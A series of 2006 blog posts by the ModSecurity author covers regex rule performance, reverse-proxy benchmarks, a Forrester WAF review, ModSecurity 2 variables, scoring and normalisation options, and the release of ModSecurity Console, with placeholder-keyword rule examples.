I was asked recently to investigate performance of an ModSecurity installation in order to see if there's room for improvement. This particular installation is used to defend against blog comment spam. It has a large number of simple rules, all regular expressions, that worked against the Referer header and the request parameters. I used the opportunity to figure out an answer to the question that has been bugging me for years: is a configuration with many simple regular expressions faster than a configuration with a single complex regular expression? I'll spare you the details of my tests, here the verdict:

A single rule with a complex regular expression is significantly faster than multiple rules with simple regular expressions.

So instead of:

SecFilterSelective VAR KEYWORD1
SecFilterSelective VAR KEYWORD2
SecFilterSelective VAR KEYWORD3

from now on you want to write:

SecFilterSelective VAR "(KEYWORD1|KEYWORD2|KEYWORD3)"

This is true for ModSecurity 1.9.x and for the last released version of ModSecurity 2.x. I am yet to investigate if there's any room for optimisation in the ModSecurity code, of the difference comes from the overhead in the regular expression library.

(Update 18 August 2006) My post to the mod-security-users mailing lists sparked an interesting discussion. Ryan rightfully pointed out that it is not a good idea to consolidate unrelated rules together as that increases your maintenance costs and prevents you from assigning unique IDs to individual rules. We then went on to discuss potential ways of making the consolidated regular expressions more readable and come up with the idea of using multiple lines together with PCRE-style comments (which only work with Apache 2.x):

SecFilterSelective VAR "(\
KEYWORD1(?# a comment)|\
KEYWORD2(?# a comment)|\
KEYWORD3(?# a comment))"

Posted by ivanr at 11:39 AM

ModSecurity 1.9.x Performance Testing

Posted by ivanr on August 07, 2006.

You can tell that I am too busy when I take almost three months to blog about something interesting and useful to a wider audience. This is one of those occasions. Earlier this year Adrian Asher, Head of Security at Betfair, kindly invited me to visit their performance testing lab. Consequently in May I spent one day testing the performance of ModSecurity 1.9.x working in the reverse proxy mode.

When you are using ModSecurity embedded performance is usually measured in milliseconds, as the time needed for ModSecurity to do its work. The most relevant information here is the relative speed. If the application you are protecting spends over 100 milliseconds processing every dynamic request, a millisecond here or there won't make a difference. Those deploying ModSecurity in the reverse proxy mode, on the other hand, usually wish to know how many requests can be processed every second. They need to know if the reverse proxy setup is going to be fast enough for their needs.

Testing of a reverse proxy setup requires one to execute a large number of transactions per second, hopefully simulating real-life conditions. In addition to the reverse proxy box, you need to simulate a bunch of clients and a bunch of web servers. This can be problematic because, even with modest hardware, one cannot easily saturate the reverse proxy box using only one client machine. In addition, you typically need more than one web server machine. That's why I jumped at the opportunity to visit Betfair - they have specialised testing equipment, namely an Avalanche and Reflector pair. This (expensive) equipment will take care of the client and web servers part, allowing you to focus on the box that sits in the middle.

1_9_performance-small.pngThe reverse proxy box we used was a Sun v20Z machine (single AMD Opteron 244 running at 1.8 GHz, 1 GB RAM, Gigabit network) running Red Hat Enterprise Linux (kernel 2.6.9-11 EL). One day sounds like a lot of time but it really isn't for things like this. Although we worked hard throughout the day we only managed to test a dozen of different (software) configurations and no tweaking of the machine or the operating system was performed. You can see the results on the attached graph (red = Apache alone, yellow = ModSecurity with 25 rules, green = ModSecurity with approximately 180 rules - the entire certified rules set). So although it is certainly not comprehensive this test is probably close enough to what you would experience in a typical deployment. Some things to note:

One thing I noticed during my tests is that most of the rules are actually very simple patterns yet they are executed through the regular expression engine. One of the things I will do very soon is introduce other pattern matching algorithms to ModSecurity 2. That will probably help us increase the performance soon. More information coming soon!

Posted by ivanr at 12:56 PM

Forrester Research Q2 2006 Web Application Firewall Evaluation

Posted by ivanr on July 24, 2006.

Back in March 2006 I was approached by Forrester Research and invited to participate in their Q2 web application firewall evaluation, along with six other WAF vendors. I was delighted with their invitation and gladly accepted. It is not often that an open source product is invited to play with the commercial guys. It turned out the participation required a lot of work on my part. I had to systematically cover and describe the entire feature set of ModSecurity, and that's not something I do often (at least not with that level of detail). It was, however, a very productive exercise because I had to make a step back and look at a bigger picture.

The results were published a couple of weeks ago and I think we did rather well. We were praised for our positive aspects (e.g. everything is configurable) and criticised for our weaknesses (e.g. lack of a management GUI). Unfortunately the entire report is not available online - you would have to buy the report if you want to read it. Revealing excerpts are available for the main report and for ModSecurity.

Two quotes from the ModSecurity scorecard summary are of particular interest:

"...ModSecurity is by far the most extensively deployed Web application firewall, with more than 10,000 customers."

and:

"ModSecurity's stringent implementation standards — build nothing unless you approach the highest level of security — will push the entire Web application firewall market toward higher-quality products."

[Source: Forrester WaveTM: Web Application Firewalls, Q2 June 2006", Forrester Research, Inc., June 2006.]

P.S. Forrester are also making available a PowerPoint presentation that gives a quick overview of the reviewed products.

(August 7 Update) Michael Gavin, the lead researcher behind the Forrester WAF evaluation, wrote to me to say that their comments referred to the 1.9.x branch of ModSecurity, and that he expects ModSecurity 2.x to address most, if not all, of the issues they identified.

Posted by ivanr at 09:50 AM

Yahoo Small Business offers "ModSecurity-like" functionality

Posted by ivanr on July 11, 2006.

I just came across this and can't help but make a note about it: A web hosting package offered by Yahoo Small Business is promoted with the following sentence:

ModSecurity-like functionality to help reduce referrer and comment spam

I feel so flattered. But why not get the real thing? :)

Posted by ivanr at 08:44 PM

ModSecurity 2: Variables, Collections and Transaction Scoring

Posted by ivanr on July 05, 2006.

Variables and collections are concepts new to ModSecurity 2. ModSecurity 1.x does allow you to use the "setvar" and "setnote" actions to create, change, or remove the request environment variables and request notes (request notes are an Apache facility that can be used to communicate with other modules). In v2 the concept was further extended with the introduction of transaction variables.

Variables are grouped into a collection, which is essentially a separate name space you can work with. Transaction variables are part of the transaction collection, which is a built-in collection called "TX". This collection is created automatically in the request initialisation phase and thus always available to your rules. It is also automatically deleted at the end of each request. ModSecurity 2 also supports persistent collections (variables placed in them will be available to you across requests) but in order to use them you have to manage them manually. This is something I will cover in a separate blog post shortly.

Collection variables are manipulated with the "setvar" action. To create a new variable simply assign value to it. To delete it, prefix the name with an exclamation mark. You must prefix each variable name with the name of the collection it belongs to.

setvar:tx.score=10
setvar:!tx.score

There are two variable types: strings and counters. Strings are just text; you can create them, access them, or delete them. Counters are positive integers. In addition to the operations supported by the sting variable type, counters can be incremented or decremented.

setvar:tx.score=+5
setvar:tx.score=-10

Transaction variables allow you to employ a fundamentally different approach in your rule sets. In ModSecurity 1.9.x. you could either interrupt a transaction or issue a warning. In ModSecurity 2 you can use scoring-based rule sets. The idea is to assign a score to every transaction and set it to zero initially. Then you write a series of rules to inspect transactions. But you don't want the rules to interrupt transactions straight away. Instead, you want them to just increment the transaction score. At the end of your rule set you can evaluate the transaction score and decide what to do with the transaction. Here is a complete example:

# A series of rules to evaluate transaction
SecRule ARGS KEYWORD1 pass,setvar:tx.score=+5
SecRule ARGS KEYWORD2 pass,setvar:tx.score=+5
SecRule ARGS KEYWORD3 pass,setvar:tx.score=+5
SecRule ARGS KEYWORD4 pass,setvar:tx.score=+5
 
# Decide what to do with transaction
SecRule TX:SCORE "@gt 15" deny

Posted by ivanr at 10:12 AM

ModSecurity Console Now Available

Posted by ivanr on July 03, 2006.

ModSecurity Console ScreenshotI love the command line, I do. But there are some tasks where this type of user interface is simply not enough. Monitoring ModSecurity is one of them. Sifting through gigabytes of log files looking for clues and trying to correlate events is not an experience I can recommend to anyone. Therefore it gives me great pleasure to announce the immediate availability of ModSecurity Console (v1.0.0-rc-2) for both testing and deployment. It's a daemon application that collects audit log entries from remote ModSecurity sensors. It also comes with an embedded web server and a database engine to power the web-based user interface. It has a number of features you'd expect from a product of this type - I am not going to rave about them here even though I am pretty excited about the whole thing.

I am excited because the imminent stable release of ModSecurity Console is a milestone for me and for Thinking Stone. I had designed the console several years ago but it wasn't until this year, when Thinking Stone took off, that we started the development. It's almost a surreal feeling to see this thing, which I've kept in my head for so long, actually working in real life.

As for Thinking Stone, the excitement comes from the fact that we are now going to see whether the business model I have adopted (continue to provide ModSecurity for free, charge a reasonable sum for the add-on product) is going to work. I know we have a very large user base. The challenge now is converting enough of them from users to customers.

P.S. You can download ModSecurity Console from Thinking Stone Network straight away.

Posted by ivanr at 04:34 PM

ModSecurity 2: Explicit Normalisation Options

Posted by ivanr on June 27, 2006.

One of the things I realy dislike in ModSecurity 1.x is that its anti-evasion features are implicit. A series of transformations is always performed on input data and always in the same order. This is somewhat convenient because it saves you from having to think about the evasion issues. This approach - implicit normalisation - is not foolproof (no surprises there). First, there are occassions where you need some other (sometimes peculiar) transformation to take place before you look at data. Second, the context in which input data is used *is* important. It is not always appropriate to perform a particular transformation - you might even be helping the attackers avoid detection (or prevention).

That's why, when I set to design ModSecurity 2.x, I came up with a flexible solution that allows one to configure normalisation features correctly in every possible sitation. The new capabilities do not come for free: ModSecurity 2.x is a better tool but it is also more difficult to use. Enough about that, let's discuss the improvements.

There are 19 normalisation functions documented in the ModSecurity 2.x reference manual. They are:

  1. lowercase
  2. replaceNulls
  3. removeNulls
  4. compressWhitespace
  5. removeWhitespace
  6. replaceComments
  7. urlDecode
  8. urlEncode
  9. urlDecodeUni
  10. base64Encode
  11. base64Decode
  12. md5
  13. sha1
  14. hexDecode
  15. hexEncode
  16. htmlEntityDecode
  17. escapeSeqDecode
  18. normalisePath
  19. normalisePathWin

The names of most are self-explanatory. (For the others refer to the manual.) By default ModSecurity 2.x will perform lowercase, replaceNulls and compressWhitespace on input data. If you need something else you will have to reconfigure this setting using the new action "t". As before you can use SecDefaultAction to set the defaults for all rules that follow:

SecDefaultAction log,auditlog,deny,status:403,phase:2,t:lowercase,t:replaceNulls,t:compressWhitespace

The above is an example of a default configuration. You can also have a per-rule setting, either by changing the normalisation options completely, or by adding or removing from the default configuration. Here's an example where "compressWhitespace" is removed and "replaceComments" added.

SecRule ARGS keyword t:-compressWhitespace,t:replaceComments

To completely replace the configured normalisation functions simly use the special name "none".

SecRule ARGS keyword t:none,t:normalisePathWin

And if the built-in normalisation functions are not enough for you there is good news - ModSecurity 2.x has an API that allows you to add a new normalisation function without having to touch its source code. (There are examples of this in the distribution.)

Posted by ivanr at 05:13 PM

Embeddable Web Application Firewalls and Impedance Mismatch

Posted by ivanr on June 12, 2006.

Some of you may remember I wrote about impedance mismatch that occurs between security layers. Ryan Barnett made an interesting post to the mod-security-users mailing list the other day:

Those of you running Snort in addition to ModSecurity undoubtedly saw the Snort URI rule bypass bug announced last week - http://www.demarc.com/support/downloads/patch_20060531.

I run both Snort and ModSecurity in my DMZ segment to identify/prevent HTTP attacks. They are a great compliment to each other as they are different tools - 1 a network-based IDS and 1 an embedded WAF within Apache.

Nothing highlights the differences between the 2 and how they handle HTTP data more than this type of vulnerability announcement. Snort is doing the best that it can to interrogate HTTP transactions however the fact is that it is not a web server so there will be mistakes made as it analyzes data. ModSecurity, on the other hand, is integrate into Apache and therefore does not fall victim to this type of HTTP evasion attack.

When this announcement was released, I quickly ran some tests between Snort and ModSecurity to verify that ModSecurity did in fact identify and block my requests with inserted "\r" return characters. Due to the fact that I use the Snort2Modsec.pl script to translate all of the Snort web attack sigs, I had absolutely zero loss of IDS coverage on my web servers while I upgraded/patched Snort :)

He makes an interesting point. It is obvious that running embedded has both positive and negative aspects. Being able to see exactly how web server parses requests is a positive one.

Posted by ivanr at 11:45 AM

ModSecurity for Apache 2.0.0-beta-3 now available!

Posted by ivanr on May 23, 2006.

I have been awfully quiet recently, having made my last post to this blog in late March. I have a very good excuse - I have been very busy re-writing ModSecurity. But, now that the new code base is in a good shape, it is time to share the new features with the others. It is time to ask you, the users, to share your comments, ideas, and bug reports with me.

ModSecurity 2.x is a big deal. The project grew organically since 2003, with features added on top of the existing architecture. At some point we hit a limit of what is possible with the old code base. It's when I decided the time was ripe to break ModSecurity into pieces and re-assemble it into a brand new code base. ModSecurity 2.x is a result of a year of planning and several months of execution. The new code is nice, tidy, and modular. More importabtly, the new code is no longer tightly intergrated with Apache, which allows it to be ported to other web servers. (Yes, this will be happening later this year.)

But you are probably more interested in what's in it for *you* :) There were so many changes that it is very difficult to make a list, let alone prioritise it. Probably the first thing you will notice is that 2.x is not backward compatible with 1.x. I am sorry but I just had to do it. I thought long and hard about this one but ultimately decided it is not possible to preserve the old syntax without making the new one a big mess. There were no radical changes. You are going to continue to do things in the same way only slightly differently. On the positive side, I used the opportunity to remove a number of inconsistencies that accumulated over time.